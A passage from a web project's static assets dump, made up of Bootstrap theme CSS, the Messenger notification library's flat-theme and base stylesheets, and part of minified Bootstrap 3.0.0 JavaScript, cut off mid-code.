100%,from(#f2dede),to(#ebcccc));background-image:-webkit-linear-gradient(top,#f2dede,0%,#ebcccc,100%);background-image:-moz-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede',endColorstr='#ffebcccc',GradientType=0)}.well{background-image:-webkit-gradient(linear,left 0,left 100%,from(#e8e8e8),to(#f5f5f5));background-image:-webkit-linear-gradient(top,#e8e8e8,0%,#f5f5f5,100%);background-image:-moz-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);background-repeat:repeat-x;border-color:#dcdcdc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8',endColorstr='#fff5f5f5',GradientType=0);-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,0.05),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 3px rgba(0,0,0,0.05),0 1px 0 rgba(255,255,255,0.1)} -------------------------------------------------------------------------------- /static/css/messenger-theme-flat.css: -------------------------------------------------------------------------------- 1 | @-webkit-keyframes ui-spinner-rotate-right { 2 | /* line 64, ../../src/sass/messenger-spinner.scss */ 3 | 0% { 4 | -webkit-transform: rotate(0deg); 5 | } 6 | 7 | /* line 65, ../../src/sass/messenger-spinner.scss */ 8 | 25% { 9 | -webkit-transform: rotate(180deg); 10 | } 11 | 12 | /* line 66, ../../src/sass/messenger-spinner.scss */ 13 | 50% { 14 | -webkit-transform: rotate(180deg); 15 | } 16 | 17 | /* line 67, ../../src/sass/messenger-spinner.scss */ 18 | 75% { 19 | -webkit-transform: rotate(360deg); 20 | } 21 | 22 | /* line 68, ../../src/sass/messenger-spinner.scss */ 23 | 100% { 24 | -webkit-transform: rotate(360deg); 25 | } 26 | } 27 | 28 | @-webkit-keyframes ui-spinner-rotate-left { 29 | /* line 72, ../../src/sass/messenger-spinner.scss */ 30 | 0% { 31 | -webkit-transform: rotate(0deg); 32 | } 33 | 34 | /* line 73, ../../src/sass/messenger-spinner.scss */ 35 | 25% { 36 | -webkit-transform: rotate(0deg); 37 | } 38 | 39 | /* line 74, ../../src/sass/messenger-spinner.scss */ 40 | 50% { 41 | -webkit-transform: rotate(180deg); 42 | } 43 | 44 | /* line 75, ../../src/sass/messenger-spinner.scss */ 45 | 75% { 46 | -webkit-transform: rotate(180deg); 47 | } 48 | 49 | /* line 76, ../../src/sass/messenger-spinner.scss */ 50 | 100% { 51 | -webkit-transform: rotate(360deg); 52 | } 53 | } 54 | 55 | @-moz-keyframes ui-spinner-rotate-right { 56 | /* line 80, ../../src/sass/messenger-spinner.scss */ 57 | 0% { 58 | -moz-transform: rotate(0deg); 59 | } 60 | 61 | /* line 81, ../../src/sass/messenger-spinner.scss */ 62 | 25% { 63 | -moz-transform: rotate(180deg); 64 | } 65 | 66 | /* line 82, ../../src/sass/messenger-spinner.scss */ 67 | 50% { 68 | -moz-transform: rotate(180deg); 69 | } 70 | 71 | /* line 83, ../../src/sass/messenger-spinner.scss */ 72 | 75% { 73 | -moz-transform: rotate(360deg); 74 | } 75 | 76 | /* line 84, ../../src/sass/messenger-spinner.scss */ 77 | 100% { 78 | -moz-transform: rotate(360deg); 79 | } 80 | } 81 | 82 | @-moz-keyframes ui-spinner-rotate-left { 83 | /* line 88, ../../src/sass/messenger-spinner.scss */ 84 | 0% { 85 | -moz-transform: rotate(0deg); 86 | } 87 | 88 | /* line 89, ../../src/sass/messenger-spinner.scss */ 89 | 25% { 90 | -moz-transform: rotate(0deg); 91 | } 92 | 93 | /* line 90, ../../src/sass/messenger-spinner.scss */ 94 | 50% { 95 | -moz-transform: rotate(180deg); 96 | } 97 | 98 | /* line 91, ../../src/sass/messenger-spinner.scss */ 99 | 75% { 100 | -moz-transform: rotate(180deg); 101 | } 102 | 103 | /* line 92, ../../src/sass/messenger-spinner.scss */ 104 | 100% { 105 | -moz-transform: rotate(360deg); 106 | } 107 | } 108 | 109 | @keyframes ui-spinner-rotate-right { 110 | /* line 96, ../../src/sass/messenger-spinner.scss */ 111 | 0% { 112 | transform: rotate(0deg); 113 | } 114 | 115 | /* line 97, ../../src/sass/messenger-spinner.scss */ 116 | 25% { 117 | transform: rotate(180deg); 118 | } 119 | 120 | /* line 98, ../../src/sass/messenger-spinner.scss */ 121 | 50% { 122 | transform: rotate(180deg); 123 | } 124 | 125 | /* line 99, ../../src/sass/messenger-spinner.scss */ 126 | 75% { 127 | transform: rotate(360deg); 128 | } 129 | 130 | /* line 100, ../../src/sass/messenger-spinner.scss */ 131 | 100% { 132 | transform: rotate(360deg); 133 | } 134 | } 135 | 136 | @keyframes ui-spinner-rotate-left { 137 | /* line 104, ../../src/sass/messenger-spinner.scss */ 138 | 0% { 139 | transform: rotate(0deg); 140 | } 141 | 142 | /* line 105, ../../src/sass/messenger-spinner.scss */ 143 | 25% { 144 | transform: rotate(0deg); 145 | } 146 | 147 | /* line 106, ../../src/sass/messenger-spinner.scss */ 148 | 50% { 149 | transform: rotate(180deg); 150 | } 151 | 152 | /* line 107, ../../src/sass/messenger-spinner.scss */ 153 | 75% { 154 | transform: rotate(180deg); 155 | } 156 | 157 | /* line 108, ../../src/sass/messenger-spinner.scss */ 158 | 100% { 159 | transform: rotate(360deg); 160 | } 161 | } 162 | 163 | /* line 116, ../../src/sass/messenger-spinner.scss */ 164 | .messenger-spinner { 165 | position: relative; 166 | border-radius: 100%; 167 | } 168 | /* line 120, ../../src/sass/messenger-spinner.scss */ 169 | ul.messenger.messenger-spinner-active .messenger-spinner .messenger-spinner { 170 | display: block; 171 | } 172 | /* line 124, ../../src/sass/messenger-spinner.scss */ 173 | .messenger-spinner .messenger-spinner-side { 174 | width: 50%; 175 | height: 100%; 176 | overflow: hidden; 177 | position: absolute; 178 | } 179 | /* line 130, ../../src/sass/messenger-spinner.scss */ 180 | .messenger-spinner .messenger-spinner-side .messenger-spinner-fill { 181 | border-radius: 999px; 182 | position: absolute; 183 | width: 100%; 184 | height: 100%; 185 | -webkit-animation-iteration-count: infinite; 186 | -moz-animation-iteration-count: infinite; 187 | -ms-animation-iteration-count: infinite; 188 | -o-animation-iteration-count: infinite; 189 | animation-iteration-count: infinite; 190 | -webkit-animation-timing-function: linear; 191 | -moz-animation-timing-function: linear; 192 | -ms-animation-timing-function: linear; 193 | -o-animation-timing-function: linear; 194 | animation-timing-function: linear; 195 | } 196 | /* line 140, ../../src/sass/messenger-spinner.scss */ 197 | .messenger-spinner .messenger-spinner-side-left { 198 | left: 0; 199 | } 200 | /* line 143, ../../src/sass/messenger-spinner.scss */ 201 | .messenger-spinner .messenger-spinner-side-left .messenger-spinner-fill { 202 | left: 100%; 203 | border-top-left-radius: 0; 204 | border-bottom-left-radius: 0; 205 | -webkit-animation-name: ui-spinner-rotate-left; 206 | -moz-animation-name: ui-spinner-rotate-left; 207 | -ms-animation-name: ui-spinner-rotate-left; 208 | -o-animation-name: ui-spinner-rotate-left; 209 | animation-name: ui-spinner-rotate-left; 210 | -webkit-transform-origin: 0 50%; 211 | -moz-transform-origin: 0 50%; 212 | -ms-transform-origin: 0 50%; 213 | -o-transform-origin: 0 50%; 214 | transform-origin: 0 50%; 215 | } 216 | /* line 152, ../../src/sass/messenger-spinner.scss */ 217 | .messenger-spinner .messenger-spinner-side-right { 218 | left: 50%; 219 | } 220 | /* line 155, ../../src/sass/messenger-spinner.scss */ 221 | .messenger-spinner .messenger-spinner-side-right .messenger-spinner-fill { 222 | left: -100%; 223 | border-top-right-radius: 0; 224 | border-bottom-right-radius: 0; 225 | -webkit-animation-name: ui-spinner-rotate-right; 226 | -moz-animation-name: ui-spinner-rotate-right; 227 | -ms-animation-name: ui-spinner-rotate-right; 228 | -o-animation-name: ui-spinner-rotate-right; 229 | animation-name: ui-spinner-rotate-right; 230 | -webkit-transform-origin: 100% 50%; 231 | -moz-transform-origin: 100% 50%; 232 | -ms-transform-origin: 100% 50%; 233 | -o-transform-origin: 100% 50%; 234 | transform-origin: 100% 50%; 235 | } 236 | 237 | /* line 15, ../../src/sass/messenger-theme-flat.sass */ 238 | ul.messenger-theme-flat { 239 | -webkit-border-radius: 4px; 240 | -moz-border-radius: 4px; 241 | -ms-border-radius: 4px; 242 | -o-border-radius: 4px; 243 | border-radius: 4px; 244 | -moz-user-select: none; 245 | -webkit-user-select: none; 246 | -o-user-select: none; 247 | user-select: none; 248 | background: #404040; 249 | } 250 | /* line 20, ../../src/sass/messenger-theme-flat.sass */ 251 | ul.messenger-theme-flat.messenger-empty { 252 | display: none; 253 | } 254 | /* line 23, ../../src/sass/messenger-theme-flat.sass */ 255 | ul.messenger-theme-flat .messenger-message { 256 | -webkit-box-shadow: inset 0px 1px rgba(255, 255, 255, 0.13), inset 48px 0px 0px #292929; 257 | -moz-box-shadow: inset 0px 1px rgba(255, 255, 255, 0.13), inset 48px 0px 0px #292929; 258 | box-shadow: inset 0px 1px rgba(255, 255, 255, 0.13), inset 48px 0px 0px #292929; 259 | -webkit-border-radius: 0px; 260 | -moz-border-radius: 0px; 261 | -ms-border-radius: 0px; 262 | -o-border-radius: 0px; 263 | border-radius: 0px; 264 | position: relative; 265 | border: 0px; 266 | margin-bottom: 0px; 267 | font-size: 13px; 268 | background: transparent; 269 | color: #f0f0f0; 270 | font-weight: 500; 271 | padding: 10px 30px 13px 65px; 272 | } 273 | /* line 35, ../../src/sass/messenger-theme-flat.sass */ 274 | ul.messenger-theme-flat .messenger-message .messenger-close { 275 | position: absolute; 276 | top: 0px; 277 | right: 0px; 278 | color: #888888; 279 | opacity: 1; 280 | font-weight: bold; 281 | display: block; 282 | font-size: 20px; 283 | line-height: 20px; 284 | padding: 8px 10px 7px 7px; 285 | cursor: pointer; 286 | background: transparent; 287 | border: 0; 288 | -webkit-appearance: none; 289 | } 290 | /* line 51, ../../src/sass/messenger-theme-flat.sass */ 291 | ul.messenger-theme-flat .messenger-message .messenger-close:hover { 292 | color: #bbbbbb; 293 | } 294 | /* line 54, ../../src/sass/messenger-theme-flat.sass */ 295 | ul.messenger-theme-flat .messenger-message .messenger-close:active { 296 | color: #777777; 297 | } 298 | /* line 57, ../../src/sass/messenger-theme-flat.sass */ 299 | ul.messenger-theme-flat .messenger-message .messenger-actions { 300 | float: none; 301 | margin-top: 10px; 302 | } 303 | /* line 61, ../../src/sass/messenger-theme-flat.sass */ 304 | ul.messenger-theme-flat .messenger-message .messenger-actions a { 305 | -webkit-border-radius: 4px; 306 | -moz-border-radius: 4px; 307 | -ms-border-radius: 4px; 308 | -o-border-radius: 4px; 309 | border-radius: 4px; 310 | text-decoration: none; 311 | color: #aaaaaa; 312 | background: #2e2e2e; 313 | display: inline-block; 314 | padding: 10px; 315 | margin-right: 10px; 316 | padding: 4px 11px 6px; 317 | text-transform: capitalize; 318 | } 319 | /* line 72, ../../src/sass/messenger-theme-flat.sass */ 320 | ul.messenger-theme-flat .messenger-message .messenger-actions a:hover { 321 | color: #f0f0f0; 322 | background: #2e2e2e; 323 | } 324 | /* line 76, ../../src/sass/messenger-theme-flat.sass */ 325 | ul.messenger-theme-flat .messenger-message .messenger-actions a:active { 326 | background: #292929; 327 | color: #aaaaaa; 328 | } 329 | /* line 80, ../../src/sass/messenger-theme-flat.sass */ 330 | ul.messenger-theme-flat .messenger-message .messenger-actions .messenger-phrase { 331 | display: none; 332 | } 333 | /* line 83, ../../src/sass/messenger-theme-flat.sass */ 334 | ul.messenger-theme-flat .messenger-message .messenger-message-inner:before { 335 | -webkit-border-radius: 50%; 336 | -moz-border-radius: 50%; 337 | -ms-border-radius: 50%; 338 | -o-border-radius: 50%; 339 | border-radius: 50%; 340 | position: absolute; 341 | left: 17px; 342 | display: block; 343 | content: " "; 344 | top: 50%; 345 | margin-top: -8px; 346 | height: 13px; 347 | width: 13px; 348 | z-index: 20; 349 | } 350 | /* line 95, ../../src/sass/messenger-theme-flat.sass */ 351 | ul.messenger-theme-flat .messenger-message.alert-success .messenger-message-inner:before { 352 | background: #5fca4a; 353 | } 354 | /* line 98, ../../src/sass/messenger-theme-flat.sass */ 355 | ul.messenger-theme-flat .messenger-message.alert-info .messenger-message-inner:before { 356 | background: #61c4b8; 357 | } 358 | /* line 103, ../../src/sass/messenger-theme-flat.sass */ 359 | ul.messenger-theme-flat .messenger-message.alert-error .messenger-message-inner:before { 360 | background: #dd6a45; 361 | } 362 | /* line 32, ../../src/sass/messenger-spinner.scss */ 363 | ul.messenger-theme-flat .messenger-message.alert-error.messenger-retry-soon .messenger-spinner { 364 | width: 32px; 365 | height: 32px; 366 | background: transparent; 367 | } 368 | /* line 37, ../../src/sass/messenger-spinner.scss */ 369 | ul.messenger-theme-flat .messenger-message.alert-error.messenger-retry-soon .messenger-spinner .messenger-spinner-side .messenger-spinner-fill { 370 | background: #dd6a45; 371 | -webkit-animation-duration: 20s; 372 | -moz-animation-duration: 20s; 373 | -ms-animation-duration: 20s; 374 | -o-animation-duration: 20s; 375 | animation-duration: 20s; 376 | opacity: 1; 377 | } 378 | /* line 45, ../../src/sass/messenger-spinner.scss */ 379 | ul.messenger-theme-flat .messenger-message.alert-error.messenger-retry-soon .messenger-spinner:after { 380 | content: ""; 381 | background: #292929; 382 | position: absolute; 383 | width: 26px; 384 | height: 26px; 385 | border-radius: 50%; 386 | top: 3px; 387 | left: 3px; 388 | display: block; 389 | } 390 | /* line 32, ../../src/sass/messenger-spinner.scss */ 391 | ul.messenger-theme-flat .messenger-message.alert-error.messenger-retry-later .messenger-spinner { 392 | width: 32px; 393 | height: 32px; 394 | background: transparent; 395 | } 396 | /* line 37, ../../src/sass/messenger-spinner.scss */ 397 | ul.messenger-theme-flat .messenger-message.alert-error.messenger-retry-later .messenger-spinner .messenger-spinner-side .messenger-spinner-fill { 398 | background: #dd6a45; 399 | -webkit-animation-duration: 600s; 400 | -moz-animation-duration: 600s; 401 | -ms-animation-duration: 600s; 402 | -o-animation-duration: 600s; 403 | animation-duration: 600s; 404 | opacity: 1; 405 | } 406 | /* line 45, ../../src/sass/messenger-spinner.scss */ 407 | ul.messenger-theme-flat .messenger-message.alert-error.messenger-retry-later .messenger-spinner:after { 408 | content: ""; 409 | background: #292929; 410 | position: absolute; 411 | width: 26px; 412 | height: 26px; 413 | border-radius: 50%; 414 | top: 3px; 415 | left: 3px; 416 | display: block; 417 | } 418 | /* line 114, ../../src/sass/messenger-theme-flat.sass */ 419 | ul.messenger-theme-flat .messenger-message-slot.messenger-last .messenger-message { 420 | -webkit-border-radius: 4px 4px 0px 0px; 421 | -moz-border-radius: 4px 4px 0px 0px; 422 | -ms-border-radius: 4px 4px 0px 0px; 423 | -o-border-radius: 4px 4px 0px 0px; 424 | border-radius: 4px 4px 0px 0px; 425 | -webkit-box-shadow: inset 48px 0px 0px #292929; 426 | -moz-box-shadow: inset 48px 0px 0px #292929; 427 | box-shadow: inset 48px 0px 0px #292929; 428 | } 429 | /* line 118, ../../src/sass/messenger-theme-flat.sass */ 430 | ul.messenger-theme-flat .messenger-message-slot.messenger-first .messenger-message { 431 | -webkit-border-radius: 0px 0px 4px 4px; 432 | -moz-border-radius: 0px 0px 4px 4px; 433 | -ms-border-radius: 0px 0px 4px 4px; 434 | -o-border-radius: 0px 0px 4px 4px; 435 | border-radius: 0px 0px 4px 4px; 436 | -webkit-box-shadow: inset 0px 1px rgba(255, 255, 255, 0.13), inset 48px 0px 0px #292929; 437 | -moz-box-shadow: inset 0px 1px rgba(255, 255, 255, 0.13), inset 48px 0px 0px #292929; 438 | box-shadow: inset 0px 1px rgba(255, 255, 255, 0.13), inset 48px 0px 0px #292929; 439 | } 440 | /* line 122, ../../src/sass/messenger-theme-flat.sass */ 441 | ul.messenger-theme-flat .messenger-message-slot.messenger-first.messenger-last .messenger-message { 442 | -webkit-border-radius: 4px; 443 | -moz-border-radius: 4px; 444 | -ms-border-radius: 4px; 445 | -o-border-radius: 4px; 446 | border-radius: 4px; 447 | -webkit-box-shadow: inset 48px 0px 0px #292929; 448 | -moz-box-shadow: inset 48px 0px 0px #292929; 449 | box-shadow: inset 48px 0px 0px #292929; 450 | } 451 | /* line 126, ../../src/sass/messenger-theme-flat.sass */ 452 | ul.messenger-theme-flat .messenger-spinner { 453 | display: block; 454 | position: absolute; 455 | left: 7px; 456 | top: 50%; 457 | margin-top: -18px; 458 | z-index: 999; 459 | height: 32px; 460 | width: 32px; 461 | z-index: 10; 462 | } 463 | -------------------------------------------------------------------------------- /static/css/messenger.css: -------------------------------------------------------------------------------- 1 | /* line 4, ../../src/sass/messenger.sass */ 2 | ul.messenger { 3 | margin: 0; 4 | padding: 0; 5 | } 6 | /* line 8, ../../src/sass/messenger.sass */ 7 | ul.messenger li { 8 | list-style: none; 9 | margin: 0; 10 | padding: 0; 11 | } 12 | /* line 14, ../../src/sass/messenger.sass */ 13 | ul.messenger .messenger-message { 14 | overflow: hidden; 15 | *zoom: 1; 16 | } 17 | /* line 17, ../../src/sass/messenger.sass */ 18 | ul.messenger .messenger-message.messenger-hidden { 19 | display: none; 20 | } 21 | /* line 20, ../../src/sass/messenger.sass */ 22 | ul.messenger .messenger-message .messenger-phrase, ul.messenger .messenger-message .messenger-actions a { 23 | padding-right: 5px; 24 | } 25 | /* line 23, ../../src/sass/messenger.sass */ 26 | ul.messenger .messenger-message .messenger-actions { 27 | float: right; 28 | } 29 | /* line 26, ../../src/sass/messenger.sass */ 30 | ul.messenger .messenger-message .messenger-actions a { 31 | cursor: pointer; 32 | text-decoration: underline; 33 | } 34 | /* line 30, ../../src/sass/messenger.sass */ 35 | ul.messenger.messenger-fixed { 36 | position: fixed; 37 | z-index: 10000; 38 | } 39 | /* line 34, ../../src/sass/messenger.sass */ 40 | ul.messenger.messenger-fixed .messenger-message { 41 | min-width: 0; 42 | -webkit-box-sizing: border-box; 43 | -moz-box-sizing: border-box; 44 | box-sizing: border-box; 45 | } 46 | /* line 39, ../../src/sass/messenger.sass */ 47 | ul.messenger.messenger-fixed .message .messenger-actions { 48 | float: left; 49 | } 50 | /* line 42, ../../src/sass/messenger.sass */ 51 | ul.messenger.messenger-fixed.messenger-on-top { 52 | top: 20px; 53 | } 54 | /* line 45, ../../src/sass/messenger.sass */ 55 | ul.messenger.messenger-fixed.messenger-on-bottom { 56 | bottom: 20px; 57 | } 58 | /* line 48, ../../src/sass/messenger.sass */ 59 | ul.messenger.messenger-fixed.messenger-on-top, ul.messenger.messenger-fixed.messenger-on-bottom { 60 | left: 50%; 61 | width: 800px; 62 | margin-left: -400px; 63 | } 64 | @media (max-width: 960px) { 65 | /* line 48, ../../src/sass/messenger.sass */ 66 | ul.messenger.messenger-fixed.messenger-on-top, ul.messenger.messenger-fixed.messenger-on-bottom { 67 | left: 10%; 68 | width: 80%; 69 | margin-left: 0px; 70 | } 71 | } 72 | /* line 58, ../../src/sass/messenger.sass */ 73 | ul.messenger.messenger-fixed.messenger-on-top.messenger-on-right, ul.messenger.messenger-fixed.messenger-on-bottom.messenger-on-right { 74 | right: 20px; 75 | left: auto; 76 | } 77 | /* line 62, ../../src/sass/messenger.sass */ 78 | ul.messenger.messenger-fixed.messenger-on-top.messenger-on-left, ul.messenger.messenger-fixed.messenger-on-bottom.messenger-on-left { 79 | left: 20px; 80 | margin-left: 0px; 81 | } 82 | /* line 66, ../../src/sass/messenger.sass */ 83 | ul.messenger.messenger-fixed.messenger-on-right, ul.messenger.messenger-fixed.messenger-on-left { 84 | width: 350px; 85 | } 86 | /* line 69, ../../src/sass/messenger.sass */ 87 | ul.messenger.messenger-fixed.messenger-on-right .messenger-actions, ul.messenger.messenger-fixed.messenger-on-left .messenger-actions { 88 | float: left; 89 | } 90 | /* line 72, ../../src/sass/messenger.sass */ 91 | ul.messenger .messenger-spinner { 92 | display: none; 93 | } 94 | -------------------------------------------------------------------------------- /static/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /** 2 | * bootstrap.js v3.0.0 by @fat and @mdo 3 | * Copyright 2013 Twitter Inc. 4 | * http://www.apache.org/licenses/LICENSE-2.0 5 | */ 6 | if(!jQuery)throw new Error("Bootstrap requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]}}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(window.jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(window.jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d)};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(a){var b="disabled",c=this.$element,d=c.is("input")?"val":"html",e=c.data();a+="Text",e.resetText||c.data("resetText",c[d]()),c[d](e[a]||this.options[a]),setTimeout(function(){"loadingText"==a?c.addClass(b).attr(b,b):c.removeClass(b).removeAttr(b)},0)},b.prototype.toggle=function(){var a=this.$element.closest('[data-toggle="buttons"]');if(a.length){var b=this.$element.find("input").prop("checked",!this.$element.hasClass("active")).trigger("change");"radio"===b.prop("type")&&a.find(".active").removeClass("active")}this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(window.jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition.end&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}this.sliding=!0,f&&this.pause();var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});if(!e.hasClass("active")){if(this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")){if(this.$element.trigger(j),j.isDefaultPrevented())return;e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid")},0)}).emulateTransitionEnd(600)}else{if(this.$element.trigger(j),j.isDefaultPrevented())return;d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid")}return f&&this.cycle(),this}};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(window.jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?(this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350),void 0):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(window.jQuery),+function(a){"use strict";function b(){a(d).remove(),a(e).each(function(b){var d=c(a(this));d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown")),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown"))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){if("ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(''}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"html":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var 